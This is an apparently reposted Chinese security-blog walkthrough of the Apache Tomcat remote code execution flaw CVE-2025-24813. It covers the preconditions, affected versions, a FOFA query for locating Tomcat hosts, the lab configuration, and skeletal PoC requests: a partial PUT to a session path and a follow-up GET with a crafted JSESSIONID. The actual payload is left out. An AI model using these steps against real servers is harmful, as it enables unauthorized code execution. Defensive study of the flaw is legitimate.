一、漏洞描述
Tomcat 是一个由 Apache 软件基金会的 Jakarta 项目开发的开源、轻量级 Web 应用服务器和 Servlet 容器。作为目前最流行的 Java Web 服务器之一,它广泛用于 Java Web 应用的部署与运行。
该漏洞的利用条件较为严苛,必须同时满足以下四个前提:
1.DefaultServlet 允许写入:应用需启用 DefaultServlet 的写入功能,而此功能默认是关闭的。
2.支持 partial PUT 请求:应用需要允许 partial PUT 请求,从而可以将恶意的序列化数据写入到会话文件。该功能默认是开启的。
3.使用 Tomcat 文件会话持久化:应用必须配置 Tomcat 以启用文件会话持久化,并使用默认的会话存储路径。
4.依赖存在反序列化漏洞的库:应用的类路径下需包含可被利用的反序列化漏洞库,例如commons-collections,具体取决于业务实现是否使用了带有反序列化利用链的依赖。
二、资产测绘
fofa
app="tomcat"
三、影响版本
-
9.0.0.M1 <= tomcat <= 9.0.98 -
10.1.0-M1 <= tomcat <= 10.1.34 -
11.0.0-M1 <= tomcat <= 11.0.2
四、漏洞复现:
1.准备环境:
windows版 Tomcat = 9.0.98安装包
commons-collections-3.2.1.jar依赖文件
反序列化依赖链
2.如下为复现详细步骤:
当前使用windows11,点击安装包即可安装。
安装完成后访问127.0.0.1:8080出现以下界面表示成功
在安装完成后需要修改一下配置:
在Tomcat 9.0webappsROOTWEB-INF目录下新建lib目录,将commons-collections-3.2.1.jar依赖文件放进其中,依赖链可通过google直接搜索下载。
将Tomcat 9.0conf目录下的如下文件进行修改
修改内容如下:
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore"/> </Manager>
接着修改Tomcat 9.0conf目录下的如下文件
修改内容如下:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
使用以下POC去构造攻击包
PUT /xxxxx/session HTTP/1.1Host: 127.0.0.1:8080Content-Length: 1000 Content-Range: bytes 0-1000/1200
点击此操作将会有5秒左右的延迟(我这里是这种情况)
GET / HTTP/1.1 Host: 127.0.0.1:8080Cookie:JSESSIONID=.xxxxx
有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。
原文始发于微信公众号(菜鸟学渗透):Apache Tomcat远程代码执行(CVE-2025-24813)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论